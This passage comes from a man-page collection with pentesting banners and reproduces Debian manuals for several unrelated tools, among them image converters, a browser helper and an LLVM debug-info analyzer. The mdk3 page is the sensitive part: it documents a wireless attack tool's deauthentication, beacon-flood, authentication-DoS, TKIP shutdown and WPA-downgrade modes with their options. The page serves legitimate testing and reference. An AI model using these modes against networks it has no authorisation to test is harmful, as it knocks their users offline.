SYNOPSIS

py3rsa-verify [OPTION]… PUBLIC_KEY SIGNATURE_FILE

DESCRIPTION

Verify a signature, exit with status 0 upon success, print an error message and exit with status 1 upon error.

OPTIONS

-h, –help
show help message and exit

-i INPUT, **–input=**INPUT
name of the signed file to verify. Read from stdin if not specified.

**–keyform=**KEYFORM
key format of the public key - default PEM

EXIT STATUS

0 if signature can be verified, 1 otherwise.

AUTHOR

py3rsa-verify was written by Sybren A. Stuvel <sybren AT stuvel.eu>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2278 - Linux cli command mdk3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdk3 and provides detailed information about the command mdk3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdk3.

NAME 🖥️ mdk3 🖥️

wireless attack tool for IEEE 802.11 networks

SYNOPSIS

mdk3 <interface> <test_mode> [test_options]

DESCRIPTION

MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.

OPTIONS

–fullhelp

Show all test options.

–help <test_mode>

Show test options about <test_mode>.

TEST MODES

b - Beacon Flood Mode

Sends beacon frames to show fake APs at clients.

This can sometimes crash network scanners and even drivers!

a - Authentication DoS mode

Sends authentication frames to all APs found in range.

Too much clients can freeze or reset some APs.

p - Basic probing and ESSID Bruteforce mode

Probes AP and check for answer, useful for checking if SSID has been correctly decloaked or if AP is within your Wi-Fi interface’s sending range.

SSID Bruteforcing is also possible with this test mode.

d - Deauthentication / Disassociation Amok Mode

Kicks out everybody found from AP.

m - Michael shutdown exploitation (TKIP)

Cancels all traffic continuously.

x - 802.1X tests.

w - WIDS/WIPS Confusion.

Confuse/Abuse Intrusion Detection and Prevention Systems.

f - MAC filter bruteforce mode

Uses a list of known client MAC Addresses and tries to authenticate them to the given AP while dynamically changing its response timeout for best performance. It currently works only on APs who deny an open authentication request properly.

g - WPA Downgrade test

Deauthenticates Stations and APs sending WPA encrypted packets.

All the unencrypted and WEP networks will still work.

TEST MODES OPTIONS

b - Beacon Flood Mode

Sends beacon frames to show fake APs at clients.

This can sometimes crash network scanners and even drivers!

-n <ssid>

Use SSID <ssid> instead of randomly generated ones.

-f <filename>

Read SSIDs from file.

-v <filename>

Read MACs and SSIDs from file. See example file at /usr/share/doc/mdk3/fakeap-example.txt.

-d

Fake Ad-Hoc stations.

-w

Fake WEP encrypted stations.

-g

Fake 802.11b stations (54 Mbit/s).

-t

Fake WPA TKIP encrypted stations.

-a

Fake WPA AES encrypted stations.

-m

Use valid accesspoint MAC from OUI database.

-h

Hop to channel where AP is spoofed.

This makes the test more effective against some devices/drivers but it reduces packet rate due to channel hopping.

-c <chan>

Fake an AP on channel <chan>. If you want your card to hop on this channel, you have to set -h option, too!

-s <pps>

Set speed in packets per second (default: 50).

a - Authentication DoS mode

Sends authentication frames to all APs found in range.

Too much clients can freeze or reset some APs.

-a <ap_mac>

Test only the specified AP <ap_mac>.

-m

Use a valid client MAC from OUI database.

-c

Do NOT check if the authentication succeeded.

-i <ap_mac>

Perform intelligent test on AP (-a and -c will be ignored).

This test connects clients to the AP and reinjects sniffed data to keep them alive.

-s <pps>

Set speed in packets per second (default: unlimited).

p - Basic probing and ESSID Bruteforce mode

Probes AP and check for answer, useful for checking if SSID has been correctly decloaked or if AP is within your Wi-Fi interface’s sending range.

Use -f and -t option to enable SSID Bruteforcing.

-e <ssid>

Set the target SSID.

-f <filename>

Read SSIDs from file, useful to bruteforce hidden networks.

-t <bssid>

Set MAC address of target AP.

-s <pps>

Set speed (default: unlimited; in Bruteforce mode: 300).

-b <character set>

Use full Bruteforce mode (recommended for short SSIDs only!).

d - Deauthentication / Disassociation Amok Mode

Kicks out everybody found from AP.

-w <filename>

Read file containing MACs not to care about (Whitelist Mode).

-b <filename>

Read file containing MACs to run tests on (Blacklist Mode).

-s <pps>

Set speed in packets per second (default: unlimited).

-c [chan,chan,chan,…]

Enable channel hopping.

Without providing any channels, mdk3 will hop an all 14 b/g channels. Channel will be changed every 5 seconds.

m - Michael shutdown exploitation (TKIP)

Cancels all traffic continuously.

-t <bssid>

Set MAC address of target AP.

-w <seconds>

Seconds between bursts (default: 10).

-n <ppb>

Set packets per burst (default: 70).

-j

Use the new TKIP QoS-Exploit.

Needs just a few packets to shut AP down!

-s <pps>

Set speed (default: 400).

x - 802.1X tests.

0 - EAPOL Start packet flooding

-n <ssid>

Set the target SSID.

-t <bssid>

Set MAC address of target AP.

-w <WPA type>

Set WPA type (1: WPA, 2: WPA2/RSN; default: WPA).

-u <unicast cipher>

Set unicast cipher type (1: TKIP, 2: CCMP; default: TKIP).

-m <multicast cipher>

Set multicast cipher type (1: TKIP, 2: CCMP; default: TKIP).

-s <pps>

Set speed (default: 400).

1 - EAPOL Logoff test

-t <bssid>

Set MAC address of target AP.

-c <bssid>

Set MAC address of target STA.

-s <pps>

Set speed (default: 400).

w - WIDS/WIPS/WDS Confusion

Confuses a WDS with multi-authenticated clients which messes up routing tables.

-e <SSID>

Set SSID of target WDS network.

-c [chan,chan,chan…]

Use channel hopping.

-z

Activate Zero_Chaos’ WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts).

f - MAC filter bruteforce mode

Uses a list of known client MAC Addresses and tries to authenticate them to the given AP while dynamically changing its response timeout for best performance.

It currently works only on APs who deny an open authentication request properly.

-t <bssid>

Set MAC address of target AP.

-m <mac>

Set the MAC address range to use (3 bytes, i.e. 00:12:34).

Without -m, the internal database will be used.

-f <mac>

Set the MAC address to begin bruteforcing with (you can’t use -f and -m at the same time).

g - WPA Downgrade test

Deauthenticates Stations and APs sending WPA encrypted packets.

All the unencrypted and WEP networks will still work.

-t <bssid>

Set MAC address of target AP.

FILES

/usr/share/doc/mdk3/common-ssids.txt.gz

Common SSIDs.

/usr/share/doc/mdk3/fakeap-example.txt

Fake AP examples for the Beacon Flood Mode (b).

/usr/share/doc/mdk3/less-common-ssids.txt.gz

Not-so-common SSIDs.

/usr/share/doc/mdk3/useful2.gz

Extra SSIDs.

AUTHOR

MDK3 was developed by Pedro Larbig “ASPj” <[email protected]>, with code taken from: aircrack-ng (by Christophe Devine) and kismet (by Mike Kershaw), all with contributions from various authors.

This manual page was written by Samuel Henrique <[email protected]> for the Debian project, it was based on mdk3 –fullhelp output and can be used by other projects as well.

SEE ALSO

aircrack-ng(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2279 - Linux cli command pamgradient

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamgradient and provides detailed information about the command pamgradient, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamgradient.

.

NAME 🖥️ pamgradient 🖥️

create a four-corner gradient PAM image

SYNOPSIS

pamgradient [**-maxval=**maxval] color-tl color-tr color-bl color-br width height

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamgradient creates an image of the specified dimensions width by height which contains a smooth, two-dimensional gradient between the specified colors of the four corners (from top left to bottom right).

Specify the colors as described for the argument of the pnm_parsecolor() library routine .

If all four colors are gray values, pamgradient creates a grayscale image (PAM tuple type GRAYSCALE). Otherwise, it creates a color image (PAM tuple type RGB).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamgradient recognizes the following command line option:

**-maxval=**maxval
maxval of the generated image. (See PAM(1) and PNM(1) specifications).

SEE ALSO

pamgradient(1) , ppmmake(1) , ppmrainbow(1) , pgmramp(1) , ppmpat(1) , pam(1) , pnm(1)

NOTE

Only the top left corner of the generated image has exactly the specified color. The color of the top right corner is a bit shifted to the left, the bottom left corner a bit up, and the bottom right corner left and up. This ensures nice transitions when combining adjacent (very narrow) gradients, and doesn’t play a role when the gradient butts against a solid surface.

This effect is created by the integer arithmetic used for the interpolation of the color values, and since it doesn’t make a difference for all practical purposes I might as well sell it as a feature.

HISTORY

pamgradient was new in Netpbm 10.31 (December 2005).

AUTHOR

pamgradient was written by Daniel Haude in October 2005.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamgradient.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2280 - Linux cli command sensible-browser

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sensible-browser and provides detailed information about the command sensible-browser, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sensible-browser.

NAME 🖥️ sensible-browser 🖥️

browser - sensible web browsing

SYNOPSIS

sensible-browser url

DESCRIPTION

sensible-browser makes sensible decisions on which web browser to call. Programs in Debian can use this script as their default web browser or emulate their behavior.
BROWSER environment variable could be set, and will be used if set. Any string acceptable as a command_string operand to the sh -c command shall be valid (this is the same behavior of the EDITOR variable as documented in environ(7)).

SEE ALSO

environ(7)

STANDARD

Documentation of behavior of sensible-utils under a debian system is available under section 11.4 of debian-policy usually installed under /usr/share/doc/debian-policy (you might need to install debian-policy)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2281 - Linux cli command mariadbd-safe-helper

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadbd-safe-helper and provides detailed information about the command mariadbd-safe-helper, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadbd-safe-helper.

NAME 🖥️ mariadbd-safe-helper 🖥️

safe-helper - helper script (mysqld_safe_helper is now a symlink to mariadbd-safe-helper)

DESCRIPTION

Use: Helper script.

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2282 - Linux cli command jbigtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jbigtopnm and provides detailed information about the command jbigtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jbigtopnm.

.

NAME 🖥️ jbigtopnm 🖥️

JBIG to PNM image file converter

SYNOPSIS

jbigtopnm [-xmax] [-ymax] [-binary] [-diagnose] [-plane] [input-file [output-file]]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

jbigtopnm reads a JBIG bi-level image entity (BIE) from a file or standard input, decompresses it, and outputs a PBM or PGM file. If the input has one plane, or you choose just one plane of it, the output is PBM. Otherwise, the output is PGM.

JBIG is a highly effective lossless compression algorithm for bi-level images (one bit per pixel), which is particularly suitable for scanned document pages.

A JBIG encoded image can be stored in several resolutions in one or several BIEs. All resolution layers except the lowest one are stored efficiently as differences to the next lower resolution layer. You can use options -x and -y to stop the decompression at a specified maximal output image size. The input file can consist of several concatenated BIEs which contain different increasing resolution layers of the same image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), jbigtopnm recognizes the following command line options:

Before Netpbm 10.85 (December 2018), only single-character single-hyphen abbreviations of the options are accepted.

-xmax number
Decode only up to the largest resolution layer which is still not more than number pixels wide. If no such resolution layer exists, then use the smallest one available.

-ymax number
Decode only up to the largest resolution layer which is still not more than number pixels high. If no such resolution layer exists, then use the smallest one available. You can also use options -x and -y together which selects the largest layer that satisfies both limits.

-binary
Use binary values instead of Gray code words in order to decode pixel values from multiple bitplanes. This option has effect only if the input has more than one bitplane and you don’t select just one of those bitplanes. Note that the decoder has to be used in the same mode as the encoder and cannot determine from the BIE, whether Gray or binary code words were used by the encoder.

-diagnose
Diagnose a BIE. With this option, jbigtopnm only prints a summary of the header information found in the input file and then exits.

-plane number
If the input contains multiple bitplanes, then extract only the specified single plane as a PBM file. The first plane has number 0.

STANDARDS

This program implements the JBIG image coding algorithm as specified in ISO/IEC 11544:1993 and ITU-T T.82(1993).

AUTHOR

jbigtopnm is based on the JBIG library by Markus Kuhn, part of his JBIG-KIT package . The jbgtopbm program is part of the JBIG-KIT package.

jbigtopnm is part of the Netpbm package of graphics tools.

SEE ALSO

pnm(1) , pnmtojbig(1)

LICENSE

There was at one time concern about the need for patent licenses to use jbigtopnm, but any relevant patents expired by 2012.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/jbigtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2283 - Linux cli command llvm-debuginfo-analyzer-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-debuginfo-analyzer-17 and provides detailed information about the command llvm-debuginfo-analyzer-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-debuginfo-analyzer-17.

NAME 🖥️ llvm-debuginfo-analyzer-17 🖥️

debuginfo-analyzer - Print a logical representation of low-level debug information.

  • SYNOPSIS

  • DESCRIPTION

  • OPTIONS

    • GENERAL

    • ATTRIBUTES

    • PRINT

    • OUTPUT

    • REPORT

    • SELECTION

      • ELEMENTS

      • LINES

      • SCOPES

      • SYMBOLS

      • TYPES

    • COMPARE

    • WARNING

    • INTERNAL

  • EXAMPLES

    • TEST CASE 1 - GENERAL OPTIONS

      • PRINTING MODE

        • BASIC DETAILS

        • SELECT LOGICAL ELEMENTS

      • COMPARISON MODE

        • LOGICAL VIEW

        • LOGICAL ELEMENTS

    • TEST CASE 2 - ASSEMBLER INSTRUCTIONS

      • CodeView - Clang (Windows)

      • CodeView - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 3 - INCORRECT LEXICAL SCOPE FOR TYPEDEF

      • CodeView - Clang (Windows)

      • CodeView - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 4 - MISSING NESTED ENUMERATIONS

      • CodeView - Clang (Windows)

      • CodeView - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 5 - INCORRECT LEXICAL SCOPE FOR VARIABLE

      • CODEVIEW - Clang (Windows)

      • CODEVIEW - MSVC (Windows)

      • DWARF - Clang (Linux)

      • DWARF - GCC (Linux)

    • TEST CASE 6 - FULL LOGICAL VIEW
  • EXIT STATUS

  • SEE ALSO

SYNOPSIS

llvm-debuginfo-analyzer [options] [filename …]

DESCRIPTION

llvm-debuginfo-analyzer parses debug and text sections in binary object files and prints their contents in a logical view, which is a human readable representation that closely matches the structure of the original user source code. Supported object file formats include ELF, Mach-O, PDB and COFF.

The logical view abstracts the complexity associated with the different low-level representations of the debugging information that is embedded in the object file. llvm-debuginfo-analyzer produces a canonical view of the debug information regardless of how it is formatted. The same logical view will be seen regardless of object file format, assuming the debug information correctly represents the same original source code.

The logical view includes the following logical elements: type, scope, symbol and line, which are the basic software elements used in the C/C++ programming language. Each logical element has a set of attributes, such as types, classes, functions, variables, parameters, etc. The –attribute can be used to specify which attributes to include when printing a logical element. A logical element may have a kind that describes specific types of elements. For instance, a scope could have a kind value of function, class, namespace.

llvm-debuginfo-analyzer defaults to print a pre-defined layout of logical elements and attributes. The command line options can be used to control the printed elements (–print), using a specific layout (–report), matching a given pattern (–select, –select-offsets). Also, the output can be limited to specified logical elements using (–select-lines, –select-scopes, –select-symbols, –select-types).

llvm-debuginfo-analyzer can also compare a set of logical views (–compare), to find differences and identify possible debug information syntax issues (–warning) in any object file.

OPTIONS

llvm-debuginfo-analyzer options are separated into several categories, each tailored to a different purpose:

  • GENERAL - Standard LLVM options to display help, version, etc.

  • ATTRIBUTES - Describe how to include different details when printing an element.

  • PRINT - Specify which elements will be included when printing the view.

  • OUTPUT - Describe the supported formats when printing the view.

  • REPORT - Describe the format layouts for view printing.

  • SELECTION - Allows to use specific criteria or conditions to select which elements to print.

  • COMPARE - Compare logical views and print missing and/or added elements.

  • WARNING - Print the warnings detected during the creation of the view.

  • INTERNAL - Internal analysis of the logical view.

GENERAL

This section describes the standard help options, used to display the usage, version, response files, etc.

-h, –help
Show help and usage for this command. (–help-hidden for more).

–help-list
Show help and usage for this command without grouping the options into categories (–help-list-hidden for more).

–help-hidden
Display all available options.

–print-all-options
Print all option values after command line parsing.

–print-options
Print non-default options after command line parsing

–version
Display the version of the tool.

@<FILE>
Read command-line options from <FILE>.

If no input file is specified, llvm-debuginfo-analyzer defaults to read a.out and return an error when no input file is found.

If - is used as the input file, llvm-debuginfo-analyzer reads the input from its standard input stream.

ATTRIBUTES

The following options enable attributes given for the printed elements. The attributes are divided in categories based on the type of data being added, such as: internal offsets in the binary file, location descriptors, register names, user source filenames, additional element transformations, toolchain name, binary file format, etc.

–attribute=<value[,value,…]>
With value being one of the options in the following lists.

=all: Include all the below attributes. =extended: Add low-level attributes. =standard: Add standard high-level attributes.

The following attributes describe the most common information for a logical element. They help to identify the lexical scope level; the element visibility across modules (global, local); the toolchain name that produced the binary file.

=global: Element referenced across Compile Units. =format: Object file format name. =level: Lexical scope level (File=0, Compile Unit=1). =local: Element referenced only in the Compile Unit. =producer: Toolchain identification name.

The following attributes describe files and directory names from the user source code, where the elements are declared or defined; functions with public visibility across modules. These options allow to map the elements to their user code location, for cross references purposes.

=directories: Directories referenced in the debug information. =filename: Filename where the element is defined. =files: Files referenced in the debug information. =pathname: Pathname where the object is defined. =publics: Function names that are public.

The following attributes describe additional logical element source transformations, in order to display built-in types (int, bool, etc.); parameters and arguments used during template instantiation; parent name hierarchy; array dimensions information; compiler generated elements and the underlying types associated with the types aliases.

=argument: Template parameters replaced by its arguments. =base: Base types (int, bool, etc.). =generated: Compiler generated elements. =encoded: Template arguments encoded in the template name. =qualified: The element type include parents in its name. =reference: Element declaration and definition references. =subrange: Subrange encoding information for arrays. =typename: Template parameters. =underlying: Underlying type for type definitions.

The following attributes describe the debug location information for a symbol or scope. It includes the symbol percentage coverage and any gaps within the location layout; ranges determining the code sections attached to a function. When descriptors are used, the target processor registers are displayed.

=coverage: Symbol location coverage. =gaps: Missing debug location (gaps). =location: Symbol debug location. =range: Debug location ranges. =register: Processor register names.

The following attributes are associated with low level details, such as: offsets in the binary file; discriminators added to the lines of inlined functions in order to distinguish specific instances; debug lines state machine registers; elements discarded by the compiler (inlining) or by the linker optimizations (dead-stripping); system compile units generated by the MS toolchain in PDBs.

=discarded: Discarded elements by the linker. =discriminator: Discriminators for inlined function instances. =inserted: Generated inlined abstract references. =linkage: Object file linkage name. =offset: Debug information offset. =qualifier: Line qualifiers (Newstatement, BasicBlock, etc). =zero: Zero line numbers.

The following attribute described specific information for the PE/COFF file format. It includes MS runtime types.

=system: Display PDB’s MS system elements.

The above attributes are grouped into standard and extended categories that can be enabled.

The standard group, contains those attributes that add sufficient information to describe a logical element and that can cover the normal situations while dealing with debug information.

=base =coverage =directories =discriminator =filename =files =format =level =producer =publics =range =reference =zero

The extended group, contains those attributes that require a more extended knowledge about debug information. They are intended when a lower level of detail is required.

=argument =discarded =encoded =gaps =generated =global =inserted =linkage =local =location =offset =operation =pathname =qualified =qualifier =register =subrange =system =typename

PRINT

The following options describe the elements to print. The layout used is determined by the –report. In the tree layout, all the elements have their enclosing lexical scopes printed, even when not explicitly specified.

–print=<value[,value,…]>
With value being one of the options in the following lists.

=all: Include all the below attributes.

The following options print the requested elements; in the case of any given select conditions (–select), only those elements that match them, will be printed. The elements value is a convenient way to specify instructions, lines, scopes, symbols and types all at once.

=elements: Instructions, lines, scopes, symbols and types. =instructions: Assembler instructions for code sections. =lines: Source lines referenced in the debug information. =scopes: Lexical blocks (function, class, namespace, etc). =symbols: Symbols (variable, member, parameter, etc). =types: Types (pointer, reference, type alias, etc).

The following options print information, collected during the creation of the elements, such as: scope contributions to the debug information; summary of elements created, printed or matched (–select); warnings produced during the view creation.

=sizes: Debug Information scopes contributions. =summary: Summary of elements allocated, selected or printed. =warnings: Warnings detected.

Note: The –print=sizes option is ELF specific.

OUTPUT

The following options describe how to control the output generated when printing the logical elements.

–output-file=<path>
Redirect the output to a file specified by <path>, where - is the standard output stream.

llvm-debuginfo-analyzer has the concept of split view. When redirecting the output from a complex binary format, it is divided into individual files, each one containing the logical view output for a single compilation unit.

–output-folder=<name>
The folder to write a file per compilation unit when –output=split is specified.

–output-level=<level>
Only print elements up to the given lexical level value. The input file is at lexical level zero and a compilation unit is at lexical level one.

–output=<value[,value,…]>
With value being one of the options in the following lists.

=all: Include all the below outputs.

=json: Use JSON as the output format (Not implemented). =split: Split the output by Compile Units. =text: Use a free form text output.

–output-sort=<key>
Primary key when ordering the elements in the output (default: line). Sorting by logical element kind, requires be familiarity with the element kind selection options (–select-lines, –select-scopes, –select-symbols, –select-types), as those options describe the different logical element kinds.

=kind: Sort by element kind. =line: Sort by element line number. =name: Sort by element name. =offset: Sort by element offset.

REPORT

Depending on the task being executed (print, compare, select), several layouts are supported to display the elements in a more suitable way, to make the output easier to understand.

–report=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below reports.

=children: Elements and children are displayed in a tree format. =list: Elements are displayed in a tabular format. =parents: Elements and parents are displayed in a tree format. =view: Elements, parents and children are displayed in a tree format.

The list layout presents the logical elements in a tabular form without any parent-child relationship. This may be the preferred way to display elements that match specific conditions when comparing logical views, making it easier to find differences.

The children, parents and view layout displays the elements in a tree format, with the scopes representing their nodes, and types, symbols, lines and other scopes representing the children. The layout shows the lexical scoping relationship between elements, with the binary file being the tree root (level 0) and each compilation unit being a child (level 1).

The children layout includes the elements that match any given criteria (–select) or (–compare) and its children.

The parents layout includes the elements that match any given criteria (–select) or (–compare) and its parents.

The combined view layout includes the elements that match any given criteria (–select) or (–compare), its parents and children.

Notes:

  1. When a selection criteria (–select) is specified with no report option, the list layout is selected.

  2. The comparison mode always uses the view layout.

SELECTION

When printing an element, different data can be included and it varies (–attribute) from data directly associated with the binary file (offset) to high level details such as coverage, lexical scope level, location. As the printed output can reach a considerable size, several selection options, enable printing of specific elements.

The pattern matching can ignore the case (–select-nocase) and be extended to use regular expressions (–select-regex).

ELEMENTS

The following options allow printing of elements that match the given <pattern>, offset <value> or an element <condition>.

–select=<pattern>
Print all elements whose name or line number matches the given <pattern>.

–select-offsets=<value[,value,…]>
Print all elements whose offset matches the given values. See –attribute option.

–select-elements=<condition[,condition,…]>
Print all elements that satisfy the given <condition>. With condition being one of the options in the following list.

=discarded: Discarded elements by the linker. =global: Element referenced across Compile Units. =optimized: Optimized inlined abstract references.

–select-nocase
Pattern matching is case-insensitive when using –select.

–select-regex
Treat any <pattern> strings as regular expressions when selecting with –select option. If –select-nocase is specified, the regular expression becomes case-insensitive.

If the <pattern> criteria is too general, a more selective option can be specified to target a particular category of elements: lines (–select-lines), scopes (–select-scopes), symbols (–select-symbols) and types (–select-types). These options require knowledge of the debug information format (DWARF, CodeView, COFF), as the given kind describes a very specific type of element.

LINES

The following options allow printing of lines that match the given <kind>. The given criteria describes the debug line state machine registers.

–select-lines=<kind[,kind,…]>
With kind being one of the options in the following list.

=AlwaysStepInto: marks an always step into. =BasicBlock: Marks a new basic block. =Discriminator: Line that has a discriminator. =EndSequence: Marks the end in the sequence of lines. =EpilogueBegin: Marks the start of a function epilogue. =LineDebug: Lines that correspond to debug lines. =LineAssembler: Lines that correspond to disassembly text. =NeverStepInto: marks a never step into. =NewStatement: Marks a new statement. =PrologueEnd: Marks the end of a function prologue.

SCOPES

The following options allow printing of scopes that match the given <kind>.

–select-scopes=<kind[,kind,…]>
With kind being one of the options in the following list.

